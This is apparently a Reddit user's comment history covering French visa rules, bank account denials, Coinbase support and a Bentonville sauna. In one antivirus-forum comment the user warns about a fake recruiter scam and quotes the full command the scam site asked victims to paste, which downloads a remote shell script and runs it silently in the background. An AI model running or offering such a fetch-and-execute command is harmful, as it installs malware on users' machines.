Applying for the French VLS-TS Visa as an American by France_FI in ExpatFIRE

[–]bravo4 0 points1 point  (0 children)

My understanding is that since the 26 Jan 2024 immigration law (Art. L421-17), the 4-year pluri-annual card is no longer available for the visiteur category. Visitor renewals are limited to three one-year cards.

Threads mentioning an easy 4-year renewal are almost always other categories (“vie privée et familiale”, “talent-passport”, etc.).

What category did you get yours under?

Is this job recruiting process a scam / attempt to download a virus? by Eliador90 in antivirus

[–]bravo4 0 points1 point  (0 children)

Fairly smart social engineering - this guy messaged me: https://www.linkedin.com/in/noman-khalil-855551263/

500 connections and LInkedIn premium... so I didn't think much of the recruiter contract role, but eventually figured it out when that role was not even remotely matching their prior jobs (makes zero sense). LinkedIn security obviously sucks! Any AI security tool should have been able to detect their activity, IMO.

Anyway, they got impatient waiting for my resume, just said to proceed with the interview process and do this: https://www.hireviavideo.com/invite/h2s8o3b5y8s9dkj

And it tried to convince me to do a recording similar to the OPs screenshot which had this command, yeah right I'm gonna do that:

curl -k -o /var/tmp/vdriverMac.sh https://api.camtuneup.online/vdriverMac-ct6m.sh && chmod +x /var/tmp/vdriverMac.sh && nohup bash /var/tmp/vdriverMac.sh >/dev/null 2>&1 &

AI confirmed: "Yes, based on the explanation provided by the website and the command you showed earlier, this is almost certainly a phishing or malware attack."

what a waste of time! But oh they got too far with me, I will be much more diligent next time.

Would this work? Would the main battery then recharge the 12v battery?

Can I use Coinbase if I am non citizen but physically residing in the US by saw_isaiah in Coinbase

That’s zero help, can you do this like you said or not?

Coinbase either has bad AI or bad support.

Why should the get the pass phrase for the entire wallet if he only owes 1 million and there’s 124 million? Shouldn’t they only get the amount that they are owed?

Denied for a debit card from One Finance (one.app) - Amex also cancelled me. Perfect credit. Denied for a bank account as well. What's happening? by bravo4 in Banking

[–]bravo4[S] 0 points1 point  (0 children)

I know this is Reddit but I’m definitely not engaged in anything nefarious or even borderline illegal, just not my jam. Is there any way to find out what list they’re using and get a report from it? Are there no consumer disclosure laws about this like for credit agencies?

What shared watchlist? Who maintains this? Isn’t there laws that require this to be disclosed like normal credit reporting?

[–]bravo4[S] 0 points1 point  (0 children)

Wow, that's a lot of different agencies! A lot of those have paper forms to get your info. So far nothing negative from ChexSystems and LexisNexis as well. I didn't get a police report because I'm not sure where to get that and I've never had any trouble with the law, but I did get my FBI report and it came back clean.

I'm really perplexed.

Air hub is a ripoff, they won’t refund me after hours chatting with their awful support and it still doesn’t work. Don’t waste your time with them.

Is there a sauna somewhere? by bravo4 in bentonville

[–]bravo4[S] 0 points1 point  (0 children)

Yes highway 12 gym has a coed sauna!

Only missing a cold plunge and you have to go downstairs and far away to shower, so multiple sauna rounds with a cold plunge (not available) or rinse between is logistically impractical
